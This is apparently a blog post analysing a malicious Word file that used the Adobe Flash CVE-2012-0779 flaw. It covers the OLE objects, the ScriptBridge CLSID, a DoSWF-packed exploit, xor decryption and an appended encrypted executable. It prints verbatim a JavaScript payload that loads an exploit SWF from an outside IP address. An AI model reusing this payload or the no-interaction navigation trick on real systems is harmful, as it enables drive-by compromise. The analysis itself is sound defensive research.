A look at object confusion vulnerability (CVE-2012-0779) in Adobe Flash

Recently I noticed an interesting blog entry in contagiodump: it was about a new attack using CVE-2012-0779, that involves a MS Word file named "World Uyghur Congress Invitation.doc". It got me curious, so I started analysing it.

To investigate this file I used FileInsight, it is a simple hex editor that supports OLE format. I searched in the object inside the ObjectPool field and found some useful information.

In particular, you can find this object in the CompObj stream:
   

   

   
and a CLSID in the OCXDATA stream:
   

   
   

Also, in the last screenshot you can notice a JavaScript code listing an url that points to a Flash file:
   

javascript:eval(document.write(unescape('%3Cembed%20src%3Dhttp://204.45.73.69/essais.swf?info=789c333230d13331d53337d633b3b432313106001afa0338&infosize=00FC0000%3E%3C/embed%3E')))
   

I searched for this data and discovered that ScriptBridge is the name for AE24FDAE-03C6-11D1-8B76-0080C744F389, and found a nice article, explaining that this CLSID allows the navigation to an url without requiring any user interaction. This is really a powerful feature for malicious purposes!
   

Now let's focus on "essais.swf". This is a CWS file (a compressed SWF file), but we don't care about this detail as opening it with Trillix will unpack it by default.
   
This file is encoded by DoSwf:
   

     

   

We need to unpack the DoSwf layer in order get to the exploit code, but Trillix fails at decompiling the ActionScript of the packed Flash file. So i searched for other similar Flash files related to this attack, and found "exp.swf" from the jsunpack website.
   
This time Trillix is able to show us the decompiled ActionScript code of the packer:
   

  

   

Here we go, this code shows a xor encryption! Searching for a decryption script I found this one, but it doesn't work as it is.

So, I rearranged the code to make it work with this sample. I only had to use the "decrypt" function properly, and fix the following lines:

   

byte block_size = (byte) (buffer.get() - 1);

byte key = (byte) (buffer.get() - 1);

int offset = buffer.getInt() - 2;

int length = buffer.getInt() - 2;

   

Once decrypted and decompressed, the result will be a file containing three concatenated Flash files. The first and third Flash files are from the DoSWF and only contain some metadata and license information. The original malicious Flash file is the second one, and you can find it here (thanks to contagiodump for the link).

This is our final exploit! If we give a look at the code we will find: a shellcode (line 23); a heapspray (line 133); some other stuff including cookies usage, a Rtmp connection and some control on the Windows version.

I'm unable to determine where the vulnerability is: maybe the exploit works only on certain software conditions, or maybe the Rtmp connection is involved in some way, or there's some other missing detail... I don't know! I think that I haven't got enough information to fully understand what happens, but at least here it's an idea of how the attack is structured: more complicated than usual .doc based attacks!

One final detail about the .doc file: as usual a exe file is appended at the end of the OLE, this one is a PE encrypted with a byte-per-byte xor using 0x70 as key (bytes that are 0 or 0x70 are not encrypted).